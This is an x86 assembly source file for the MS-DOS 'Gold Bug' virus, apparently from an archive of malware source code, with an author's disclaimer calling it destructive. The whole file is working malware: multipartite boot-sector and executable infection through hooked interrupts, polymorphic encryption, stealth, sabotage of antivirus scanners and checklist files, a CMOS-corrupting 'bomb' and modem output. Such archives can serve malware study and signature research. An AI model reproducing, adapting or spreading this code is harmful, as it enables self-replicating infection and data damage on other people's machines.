MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.gold-bug.asm
2021-01-12 17:44:11 -06:00

1084 lines
26 KiB
NASM

cseg segment para public 'code'
gold_bug proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
;-----------------------------------------------------------------------------
.186
TRUE equ 001h
FALSE equ 000h
;-----------------------------------------------------------------------------
;option bytes used and where
DELETE_SCANNERS equ FALSE ; -2 bytes -2 in com_code
CHECK_FOR_8088 equ TRUE ; 4 bytes 4 in com_code
INFECT_RANDOM equ TRUE ; 4 bytes 4 in com_code
CMOS_BOMB equ TRUE ; 4 bytes 4 in com_code
DEFLECT_DELETE equ TRUE ; 5 bytes 5 in com_code
READING_STEALTH equ TRUE ; 5 bytes 5 in com_code
SAME_FILE_DATE equ TRUE ; 24 bytes 24 in com_code
DOUBLE_DECRIPT equ TRUE ; 26 bytes 26 in com_code
EXECUTE_SPAWNED equ TRUE ; 35 bytes 32 in com_code 3 in boot_code
MODEM_CODE equ TRUE ; 40 bytes 29 in com_code 11 in boot_code
ANTI_ANTIVIRUS equ TRUE ; 46 bytes 35 in com_code 11 in boot_code
POLYMORPHIC equ TRUE ; 90 bytes 74 in com_code 16 in boot_code
MULTIPARTITE equ TRUE ;372 bytes 346 in com_code 26 in boot_code
;-----------------------------------------------------------------------------
;floppy boot infection
FLOPPY_1_2M equ 001h
FLOPPY_760K equ 000h
FLOPPY_TYPE equ FLOPPY_1_2M
;-----------------------------------------------------------------------------
IFE MULTIPARTITE
DELETE_SCANNERS equ FALSE
CHECK_FOR_8088 equ FALSE
INFECT_RANDOM equ FALSE
DEFLECT_DELETE equ FALSE
READING_STEALTH equ FALSE
SAME_FILE_DATE equ FALSE
EXECUTE_SPAWNED equ FALSE
POLYMORPHIC equ FALSE
ENDIF
;-----------------------------------------------------------------------------
SECTOR_SIZE equ 00200h
RES_OFFSET equ 0fb00h
COM_OFFSET equ 00100h
RELATIVE_OFFSET equ RES_OFFSET-COM_OFFSET
PART_OFFSET equ COM_OFFSET+SECTOR_SIZE
BOOT_OFFSET equ 07c00h
RELATIVE_BOOT equ BOOT_OFFSET-PART_OFFSET
LOW_JMP_10 equ 0031ch
LOW_JMP_21 equ 00321h
SAVE_INT_CHAIN equ 0032ch
SCRATCH_AREA equ 08000h
HEADER_SEGMENT equ 00034h
INT_21_IS_NOW equ 0cch
BIOS_INT_13 equ 0c6h
NEW_INT_13_LOOP equ 0cdh
BOOT_SECTOR equ 001h
DESCRIPTOR_OFF equ 015h
IF FLOPPY_TYPE EQ FLOPPY_1_2M
DESCRIPTOR equ 0f909h
OLD_BOOT_SECTOR equ 00eh
COM_CODE_SECTOR equ 00dh
ELSE
DESCRIPTOR equ 0f905h
OLD_BOOT_SECTOR equ 005h
COM_CODE_SECTOR equ 004h
ENDIF
READ_ONLY equ 001h
SYSTEM equ 004h
DELTA_RI equ 004h
DSR equ 020h
CTS equ 010h
CD equ 080h
FAR_JUMP equ 0eah
MIN_FILE_SIZE equ 00500h
PSP_SIZE equ 00100h
VIRGIN_INT_13_A equ 00806h
VIRGIN_INT_13_B equ 007b4h
VIRGIN_INT_2F equ 00706h
FAR_JUMP_OFFSET equ 006h
SET_INT_OFFSET equ 007h
CHANGE_SEG_OFF equ 009h
VIDEO_MODE equ 00449h
MONOCHROME equ 007h
COLOR_VIDEO_MEM equ 0b000h
ADDR_MUL equ 004h
SINGLE_BYTE_INT equ 003h
VIDEO_INT equ 010h
VIDEO_INT_ADDR equ VIDEO_INT*ADDR_MUL
DISK_INT equ 013h
DISK_INT_ADDR equ DISK_INT*ADDR_MUL
SERIAL_INT equ 014h
DOS_INT equ 021h
DOS_INT_ADDR equ DOS_INT*ADDR_MUL
MULTIPLEX_INT equ 02fh
COMMAND_LINE equ 080h
FIRST_FCB equ 05ch
SECOND_FCB equ 06ch
NULL equ 00000h
GET_PORT_STATUS equ 00300h
WRITE_TO_PORT equ 00100h
HD_0_HEAD_0 equ 00080h
READ_A_SECTOR equ 00201h
WRITE_A_SECTOR equ 00301h
GET equ 000h
SET equ 001h
DELETE_W_FCB equ 01300h
DEFAULT_DRIVE equ 000h
GET_DEFAULT_DR equ 01900h
DOS_SET_INT equ 02500h
FILE_DATE_TIME equ 05700h
DENYNONE equ 040h
OPEN_W_HANDLE equ 03d00h
READ_W_HANDLE equ 03f00h
WRITE_W_HANDLE equ 04000h
CLOSE_HANDLE equ 03e00h
UNLINK equ 04100h
FILE_ATTRIBUTES equ 04300h
RESIZE_MEMORY equ 04a00h
QUERY_FREE_HMA equ 04a01h
ALLOCATE_HMA equ 04a02h
EXEC_PROGRAM equ 04b00h
GET_ERROR_LEVEL equ 04d00h
TERMINATE_W_ERR equ 04c00h
RENAME_A_FILE equ 05600h
LSEEK_TO_END equ 04202h
CREATE_NEW_FILE equ 05b00h
RESIDENT_LENGTH equ 068h
PARAMETER_TABLE equ 005f1h
MAX_PATH_LENGTH equ 00080h
EXE_HEADER_SIZE equ 020h
NEW_EXE_HEADER equ 00040h
NEW_EXE_OFFSET equ 018h
PKLITE_SIGN equ 'KP'
PKLITE_OFFSET equ 01eh
NO_OF_COM_PORTS equ 004h
WINDOWS_BEGIN equ 01605h
WINDOWS_END equ 01606h
ERROR_IN_EXE equ 0000bh
IF POLYMORPHIC
FILE_SIGNATURE equ 07081h
XOR_SWAP_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
FILE_LEN_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
FIRST_UNDO_OFF equ byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
SECOND_UNDO_OFF equ byte ptr ((offset second_jmp)-(offset com_code))
BL_BX_OFFSET equ byte ptr ((offset incbl_incbx)-(offset com_code))
ROTATED_OFFSET equ byte ptr ((offset rotated_code)-(offset com_code))
ELSE
FILE_SIGNATURE equ 0070eh
ENDIF
IF MODEM_CODE
STRING_LENGTH equ byte ptr ((offset partition_sig)-(offset string))
ENDIF
IF EXECUTE_SPAWNED
EXEC_SUBTRACT equ byte ptr ((offset file_name)-(offset exec_table))
ENDIF
DH_OFFSET equ byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
ONE_NIBBLE equ 004h
ONE_BYTE equ 001h
TWO_BYTES equ 002h
THREE_BYTES equ 003h
FOUR_BYTES equ 004h
FIVE_BYTES equ 005h
FIVE_BITS equ 005h
EIGHT_BYTES equ 008h
USING_HARD_DISK equ 080h
KEEP_CF_INTACT equ 002h
CMOS_CRC_ERROR equ 02eh
CMOS_PORT equ 070h
REMOVE_NOP equ 001h
CR equ 00dh
LF equ 00ah
INT3_INCBX equ 043cch
INC_BL equ 0c3feh
INCBX_INCBL_XOR equ INT3_INCBX XOR INC_BL
JMP_NO_SIGN equ 079h
JMP_NOT_ZERO equ 075h
JNS_JNZ_XOR equ JMP_NO_SIGN XOR JMP_NOT_ZERO
CLI_PUSHCS equ 00efah
;-----------------------------------------------------------------------------
video_seg segment at 0c000h
org 00000h
original_int_10 label word
video_seg ends
;-----------------------------------------------------------------------------
io_seg segment at 00070h
org 00893h
original_2f_jmp label word
io_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET
com_code:
;-----------------------------------------------------------------------------
IF POLYMORPHIC
first_decode proc near
serial_number: xor word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
org $-REMOVE_NOP
org $-FIVE_BYTES
jmp load_it
org $+TWO_BYTES
rotated_code: int SINGLE_BYTE_INT
into
adc al,0d4h
incbl_incbx: inc bl
first_jmp: jnz serial_number
add bx,si
jns serial_number
first_decode endp
;-----------------------------------------------------------------------------
IF DOUBLE_DECRIPT
second_decode proc near
push si
get_next_byte: lodsw
add bx,ax
inc bx
xor byte ptr ds:[si+SECOND_UNDO_OFF],bl
org $-REMOVE_NOP
dec si
second_jmp: jns get_next_byte
pop si
second_decode endp
ENDIF
ENDIF
;-----------------------------------------------------------------------------
com_start proc near
IF MULTIPARTITE
push cs
pop es
call full_move_w_si
mov ds,cx
cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
jne dont_set_int
mov di,VIRGIN_INT_13_B
call set_both_ints
push cs
pop es
ENDIF
dont_set_int: IF CHECK_FOR_8088
mov cl,RESIDENT_LENGTH
mov al,high(RESIZE_MEMORY)
shl ax,cl
mov bx,cx
int DOS_INT
ELSEIF MULTIPARTITE
mov bx,RESIDENT_LENGTH
mov ah,high(RESIZE_MEMORY)
int DOS_INT
ENDIF
IF EXECUTE_SPAWNED
pusha
call from_com_code+RELATIVE_OFFSET
popa
push cs
pop ds
push cs
pop es
cmpsw
mov dx,si
sub si,EXEC_SUBTRACT
org $-REMOVE_NOP
mov bx,PARAMETER_TABLE
mov di,bx
mov ax,EXEC_PROGRAM
set_table: scasw
movsb
scasb
mov word ptr ds:[di],ds
je set_table
int DOS_INT
mov ah,high(GET_ERROR_LEVEL)
int DOS_INT
mov ah,high(TERMINATE_W_ERR)
ELSEIF MULTIPARTITE
call from_com_code+RELATIVE_OFFSET
mov ax,TERMINATE_W_ERR
ENDIF
IF MULTIPARTITE
int DOS_INT
ELSE
jmp boot_load
ENDIF
com_start endp
;-----------------------------------------------------------------------------
interrupt_21 proc far
pushf
pusha
push ds
push es
mov di,dx
push ds
pop es
cld
mov cx,MAX_PATH_LENGTH
IF MULTIPARTITE
mov si,offset file_name+RELATIVE_OFFSET
ENDIF
IF READING_STEALTH OR DEFLECT_DELETE
mov bx,ax
ENDIF
cmp ax,EXEC_PROGRAM
IF READING_STEALTH
je start_process
cmp ah,high(OPEN_W_HANDLE)
ENDIF
IF DEFLECT_DELETE
je start_process
cmp ah,high(UNLINK)
ENDIF
jne a_return
start_process: xor ax,ax
copy_name: IF MULTIPARTITE
mov bl,byte ptr ds:[di]
mov byte ptr cs:[si],bl
inc si
ENDIF
scasb
loopne copy_name
std
scasw
IF MULTIPARTITE
mov byte ptr cs:[si-FIVE_BYTES],al
ENDIF
mov al,'E'
scasw
jne a_return
mov ah,'X'
scasw
jne a_return
IF MULTIPARTITE
push ds
ENDIF
pusha
call open_close_file
IF SAME_FILE_DATE
mov word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
mov word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
ENDIF
or si,si
IF MULTIPARTITE
jnz large_exe_file
cmp word ptr ds:[si],FILE_SIGNATURE
je our_kind
IF INFECT_RANDOM
xor di,bp
jpo our_kind
ENDIF
cmp word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
jb test_if_open
cmp word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
je test_if_open
ELSE
jz our_kind
ENDIF
large_exe_file: popa
IF MULTIPARTITE
pop ds
ENDIF
IF ANTI_ANTIVIRUS
mov al,'N'
scasb
ja a_return
mov al,'A'
scasb
jne a_return
pop es
pop ds
popa
IF READING_STEALTH OR DEFLECT_DELETE
cmp ah,high(EXEC_PROGRAM)
jne opened_file
ENDIF
popf
IF CMOS_BOMB
mov al,CMOS_CRC_ERROR
out CMOS_PORT,ax
ENDIF
IF DELETE_SCANNERS
mov ah,high(UNLINK)
jmp short old_int_10_21
ELSE
mov al,ERROR_IN_EXE
stc
retf KEEP_CF_INTACT
ENDIF
ELSE
jmp short a_return
ENDIF
our_kind: popa
IF MULTIPARTITE
pop ds
error_in_copy: inc di
xchg byte ptr ds:[di],ch
mov ax,OPEN_W_HANDLE+DENYNONE
int INT_21_IS_NOW
mov bx,ax
jnc close_it
mov byte ptr ds:[di],ch
jmp_a_return: jmp short a_return
close_it: call force_close
ENDIF
a_return: pop es
pop ds
popa
opened_file: popf
old_int_10_21: jmp far ptr original_int_10
IF MULTIPARTITE
test_if_open: popa
pop ds
IF READING_STEALTH OR DEFLECT_DELETE
cmp bh,high(EXEC_PROGRAM)
jne error_in_copy
ENDIF
drive_letter: sub al,USING_HARD_DISK
jns error_in_copy
mov ax,GET+FILE_ATTRIBUTES
int INT_21_IS_NOW
mov ah,high(RENAME_A_FILE)
pusha
mov di,offset file_name+RELATIVE_OFFSET
push cs
pop es
int INT_21_IS_NOW
set_attribs: popa
int INT_21_IS_NOW
mov ah,high(CREATE_NEW_FILE)
int INT_21_IS_NOW
jc error_in_copy
mov bx,ax
mov ax,SET+FILE_ATTRIBUTES
pusha
push ds
push cs
pop ds
or cl,SYSTEM
mov dx,offset file_name+RELATIVE_OFFSET
int INT_21_IS_NOW
IF ANTI_ANTIVIRUS
mov dx,offset fcb_name+RELATIVE_OFFSET
mov ah,high(DELETE_W_FCB)
int INT_21_IS_NOW
ENDIF
xor di,di
mov ax,SCRATCH_AREA
mov es,ax
mov ds,ax
call full_move
call move_some_more
IF POLYMORPHIC
xor si,si
mov cx,word ptr ds:[si+FILE_LEN_OFFSET]
org $-REMOVE_NOP
IF DOUBLE_DECRIPT
pusha
set_second: add al,byte ptr cs:[si+RES_OFFSET]
inc ax
xor byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
org $-REMOVE_NOP
inc si
loop set_second
popa
ENDIF
mov ax,cx
pusha
xor bx,bx
mov bl,byte ptr ds:[si+XOR_SWAP_OFFSET]
org $-REMOVE_NOP
set_first: xor word ptr ds:[bx],ax
inc bx
loop set_first
popa
ELSE
file_length: mov cx,NULL
ENDIF
mov ah,high(WRITE_W_HANDLE)
cwd
int INT_21_IS_NOW
IF SAME_FILE_DATE
mov ax,SET+FILE_DATE_TIME
new_time: mov cx,NULL
new_date: mov dx,NULL
call do_int21_close
ELSE
call force_close
ENDIF
pop ds
jmp short set_attribs
ENDIF
interrupt_21 endp
;-----------------------------------------------------------------------------
open_close_file proc near
mov ax,OPEN_W_HANDLE+DENYNONE
xor cx,cx
int INT_21_IS_NOW
jc more_returns
mov bx,ax
IF MULTIPARTITE
mov dx,HEADER_SEGMENT
mov ds,dx
ENDIF
IF MODEM_CODE
IF MULTIPARTITE
mov dl,NO_OF_COM_PORTS
ELSE
mov dx,NO_OF_COM_PORTS
ENDIF
scan_coms: dec dx
js no_more_coms
mov ax,GET_PORT_STATUS
int SERIAL_INT
xor al,DELTA_RI+CTS+DSR
and al,DELTA_RI+CTS+DSR+CD
jnz scan_coms
mov si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
mov cl,STRING_LENGTH
output_data: lods byte ptr cs:[si]
mov ah,high(WRITE_TO_PORT)
int SERIAL_INT
loop output_data
ENDIF
no_more_coms: IF MULTIPARTITE
mov cl,EXE_HEADER_SIZE
mov ah,high(READ_W_HANDLE)
cwd
int INT_21_IS_NOW
xor cx,cx
ELSE
xor dx,dx
ENDIF
mov ax,LSEEK_TO_END
int INT_21_IS_NOW
IF MULTIPARTITE
IF POLYMORPHIC
mov word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
ELSE
mov word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
ENDIF
ENDIF
inc ah
cmp ax,MIN_FILE_SIZE+PSP_SIZE
adc dx,cx
mov si,dx
IF SAME_FILE_DATE
mov ax,GET+FILE_DATE_TIME
do_int21_close: int INT_21_IS_NOW
ENDIF
force_close: mov ah,high(CLOSE_HANDLE)
int INT_21_IS_NOW
more_returns: ret
open_close_file endp
;-----------------------------------------------------------------------------
full_move_w_si proc near
IF POLYMORPHIC
swap_incbx_bl: xor word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
org $-REMOVE_NOP
xor byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
org $-REMOVE_NOP
ENDIF
stc
full_move_w_di: mov di,RES_OFFSET
full_move: call move_code
move_code: jc move_some_more
mov si,RES_OFFSET
IF POLYMORPHIC
IF CHECK_FOR_8088
mov cl,ONE_NIBBLE
ror word ptr cs:[si+ROTATED_OFFSET],cl
org $-REMOVE_NOP
ELSE
ror word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
org $-REMOVE_NOP
ENDIF
ENDIF
move_some_more: mov cx,SECTOR_SIZE
pushf
cld
rep movs byte ptr es:[di],cs:[si]
popf
stc
ret
full_move_w_si endp
;-----------------------------------------------------------------------------
IF ANTI_ANTIVIRUS
org PART_OFFSET-ONE_BYTE
fcb_name db DEFAULT_DRIVE
ENDIF
;-----------------------------------------------------------------------------
org PART_OFFSET
boot_code:
;-----------------------------------------------------------------------------
initialize_boot proc near
IF ANTI_ANTIVIRUS
db 'CHKLIST????'
cli
push cs
mov si,BOOT_OFFSET-SECTOR_SIZE
pop ss
mov sp,si
sti
push cs
org PART_OFFSET+DESCRIPTOR_OFF
db high(DESCRIPTOR)
pop ds
mov cx,COM_CODE_SECTOR
pushf
push cs
push BOOT_OFFSET
mov ax,READ_A_SECTOR
ELSE
cli
push cs
mov si,BOOT_OFFSET-SECTOR_SIZE
pop ss
mov sp,si
sti
pushf
push cs
push BOOT_OFFSET
push cs
mov cx,COM_CODE_SECTOR
mov ax,READ_A_SECTOR
org PART_OFFSET+DESCRIPTOR_OFF
db high(DESCRIPTOR)
pop ds
ENDIF
push cs
pop es
dh_value: mov dx,NULL
mov bx,dx
xor dh,al
shr dx,1
mov dh,bh
push dx
mov bx,si
push ax
int DISK_INT
pop ax
mov di,VIDEO_INT_ADDR
mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
call get_n_set_int+ONE_BYTE
mov bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
cmp dx,LOW_JMP_10
je try_this_out
cmp byte ptr ds:[VIDEO_MODE],MONOCHROME
jae try_this_out
mov di,DISK_INT_ADDR
IF MULTIPARTITE
call set_both_ints
ELSE
mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
call get_n_set_int+ONE_BYTE
mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
call set_interrupt
ENDIF
mov ch,high(COLOR_VIDEO_MEM)
mov bx,offset high_code+RELATIVE_OFFSET
try_this_out: push cx
push bx
mov es,cx
call full_move_w_si
retf
initialize_boot endp
;-----------------------------------------------------------------------------
high_code proc near
mov dx,offset int_10_start+RELATIVE_OFFSET
mov bx,LOW_JMP_10-FAR_JUMP_OFFSET
call set_int_10_21
mov bx,VIDEO_INT_ADDR-SET_INT_OFFSET
low_code: mov es,cx
mov cl,OLD_BOOT_SECTOR
mov dx,LOW_JMP_10
call set_interrupt
mov bx,BOOT_OFFSET
pop dx
int DISK_INT
xor dh,dh
mov cl,BOOT_SECTOR
mov ax,WRITE_A_SECTOR
high_code endp
;-----------------------------------------------------------------------------
interrupt_13 proc far
int_13_start: IF MULTIPARTITE
mov byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
ENDIF
cmp cx,BOOT_SECTOR
jne no_boot_sector
cmp ah,high(READ_A_SECTOR)
jne no_boot_sector
cmp dx,HD_0_HEAD_0
jbe reread_boot
no_boot_sector: int NEW_INT_13_LOOP
jmp short return_far
reread_boot: int NEW_INT_13_LOOP
jc return_far
pusha
push ds
push es
pop ds
check_old_boot: mov ax,READ_A_SECTOR
xor dh,dh
mov cl,OLD_BOOT_SECTOR
IF ANTI_ANTIVIRUS
cmp word ptr ds:[bx],'HC'
ELSE
cmp word ptr ds:[bx],CLI_PUSHCS
ENDIF
je read_old_boot
test dl,USING_HARD_DISK
jnz encode_hd
cmp word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
jne time_to_leave
mov dh,al
pusha
int NEW_INT_13_LOOP
cmp byte ptr ds:[bx],ch
popa
pushf
pusha
xor dh,dh
mov cl,al
int NEW_INT_13_LOOP
popa
popf
jne time_to_leave
encode_hd: mov ah,high(WRITE_A_SECTOR)
push ax
int NEW_INT_13_LOOP
pop ax
jc time_to_leave
mov di,bx
call move_code
mov cl,COM_CODE_SECTOR
IF POLYMORPHIC
xor byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
org $-REMOVE_NOP
jo dont_flip_it
xchg word ptr ds:[bx+ROTATED_OFFSET],ax
org $-REMOVE_NOP
xchg ah,al
xchg word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
org $-REMOVE_NOP
xchg word ptr ds:[bx+ROTATED_OFFSET],ax
org $-REMOVE_NOP
ENDIF
dont_flip_it: pusha
int NEW_INT_13_LOOP
popa
mov di,bx
call move_some_more
mov byte ptr ds:[bx+DH_OFFSET],dh
org $-REMOVE_NOP
mov dh,cl
inc cx
int NEW_INT_13_LOOP
jmp short check_old_boot
read_old_boot: mov dh,byte ptr ds:[bx+DH_OFFSET]
org $-REMOVE_NOP
int NEW_INT_13_LOOP
time_to_leave: pop ds
popa
clc
return_far: retf KEEP_CF_INTACT
interrupt_13 endp
;-----------------------------------------------------------------------------
interrupt_2f proc far
pusha
push ds
push es
push offset return_to_2f+RELATIVE_OFFSET
xor cx,cx
mov ds,cx
mov bx,SAVE_INT_CHAIN-SET_INT_OFFSET
cmp ax,WINDOWS_END
jne try_another
les dx,dword ptr ds:[bx+SET_INT_OFFSET]
jmp short set_13_chain
try_another: cmp ax,WINDOWS_BEGIN
jne another_return
mov di,VIRGIN_INT_13_B
call get_n_set_int+ONE_BYTE
les dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
set_13_chain: mov ax,READ_A_SECTOR
call get_set_part
mov bx,VIRGIN_INT_13_B-SET_INT_OFFSET
call set_interrupt
mov bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
call set_interrupt
mov ah,high(WRITE_A_SECTOR)
interrupt_2f endp
;-----------------------------------------------------------------------------
get_set_part proc near
pusha
push es
mov bx,SCRATCH_AREA
mov es,bx
mov dx,HD_0_HEAD_0
inc cx
int NEW_INT_13_LOOP
mov ax,READ_A_SECTOR
int DISK_INT
pop es
popa
another_return: ret
get_set_part endp
;-----------------------------------------------------------------------------
return_to_2f proc near
pop es
pop ds
popa
jmp far ptr original_2f_jmp
return_to_2f endp
;-----------------------------------------------------------------------------
interrupt_10 proc far
int_10_start: pushf
pusha
push ds
push es
push offset a_return+RELATIVE_OFFSET
from_com_code: xor bx,bx
mov ds,bx
or ah,ah
jz set_10_back
mov ax,QUERY_FREE_HMA
int MULTIPLEX_INT
cmp bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
jb another_return
mov ax,ALLOCATE_HMA
int MULTIPLEX_INT
clc
call full_move_w_di
mov dx,offset int_13_start+RELATIVE_OFFSET
call set_13_chain
mov bx,VIRGIN_INT_2F-SET_INT_OFFSET
mov dx,offset interrupt_2f+RELATIVE_OFFSET
call set_interrupt
cmp word ptr ds:[LOW_JMP_10],cx
je set_10_back
push es
push es
mov di,DOS_INT_ADDR
mov bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
call get_n_set_int+ONE_BYTE
pop ds
mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
call set_interrupt
mov ds,cx
mov ax,DOS_SET_INT+DOS_INT
mov dx,LOW_JMP_21
int INT_21_IS_NOW
pop es
mov bx,dx
mov dx,offset interrupt_21+RELATIVE_OFFSET
mov word ptr ds:[bx],0b450h
mov word ptr ds:[bx+TWO_BYTES],0cd19h
mov word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
call set_int_10_21
set_10_back: mov di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
mov bx,LOW_JMP_10-FAR_JUMP_OFFSET
interrupt_10 endp
;-----------------------------------------------------------------------------
get_n_set_int proc near
les dx,dword ptr cs:[di]
jmp short set_interrupt
set_int_10_21: mov byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
set_interrupt: mov word ptr ds:[bx+SET_INT_OFFSET],dx
mov word ptr ds:[bx+CHANGE_SEG_OFF],es
ret
get_n_set_int endp
;-----------------------------------------------------------------------------
IF MULTIPARTITE
set_both_ints proc near
mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
call get_n_set_int+ONE_BYTE
mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
jmp short set_interrupt
set_both_ints endp
ENDIF
;-----------------------------------------------------------------------------
IF EXECUTE_SPAWNED
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
ENDIF
;-----------------------------------------------------------------------------
IF MODEM_CODE
org PART_OFFSET+001f3h
string db CR,'1O7=0SLMTA'
ENDIF
;-----------------------------------------------------------------------------
org PART_OFFSET+SECTOR_SIZE-TWO_BYTES
partition_sig dw 0aa55h
;-----------------------------------------------------------------------------
org PART_OFFSET+SECTOR_SIZE+TWO_BYTES
file_name db 'DA',027h,'BOYS.COM',NULL
;-----------------------------------------------------------------------------
org PARAMETER_TABLE
dw NULL,NULL,NULL,NULL,NULL,NULL,NULL
db NULL
;-----------------------------------------------------------------------------
IFE MULTIPARTITE
boot_load proc near
push cs
pop es
call full_move_w_si
mov ds,cx
cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
jne dont_set_intcd
lds dx,dword ptr ds:[VIRGIN_INT_13_B]
mov ax,DOS_SET_INT+NEW_INT_13_LOOP
int DOS_INT
dont_set_intcd: mov ah,high(GET_DEFAULT_DR)
int DOS_INT
call from_com_code+RELATIVE_OFFSET
mov ax,TERMINATE_W_ERR
int DOS_INT
boot_load endp
ENDIF
;-----------------------------------------------------------------------------
IF POLYMORPHIC
load_it proc near
mov word ptr ds:[si],FILE_SIGNATURE
mov byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
push bx
xor ax,ax
cli
out 043h,al
in al,040h
mov ah,al
in al,040h
sti
push ax
and ax,0001eh
mov bx,ax
mov ax,word ptr ds:[bx+two_byte_table]
mov word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
org $-REMOVE_NOP
pop ax
and ax,003e0h
mov cl,FIVE_BITS
shr ax,cl
mov bx,ax
mov al,byte ptr ds:[bx+one_byte_table]
xor al,low(INC_BL)
mov byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
pop bx
jmp com_start
load_it endp
;-----------------------------------------------------------------------------
two_byte_table: mov al,0b2h
xor al,0b4h
and al,0d4h
les ax,dword ptr ds:[si]
les cx,dword ptr ds:[si]
les bp,dword ptr ds:[si]
adc al,0d4h
and al,084h
adc al,084h
adc al,024h
add al,084h
add al,014h
add al,024h
test dl,ah
repz stc
repnz stc
;-----------------------------------------------------------------------------
one_byte_table: int SINGLE_BYTE_INT
into
daa
das
aaa
aas
inc ax
inc cx
inc dx
inc bp
inc di
dec ax
dec cx
dec dx
dec bp
dec di
nop
xchg cx,ax
xchg dx,ax
xchg bp,ax
xchg di,ax
cbw
cwd
lahf
scasb
scasw
xlat
repnz
repz
cmc
clc
stc
ENDIF
;-----------------------------------------------------------------------------
gold_bug endp
cseg ends
end com_code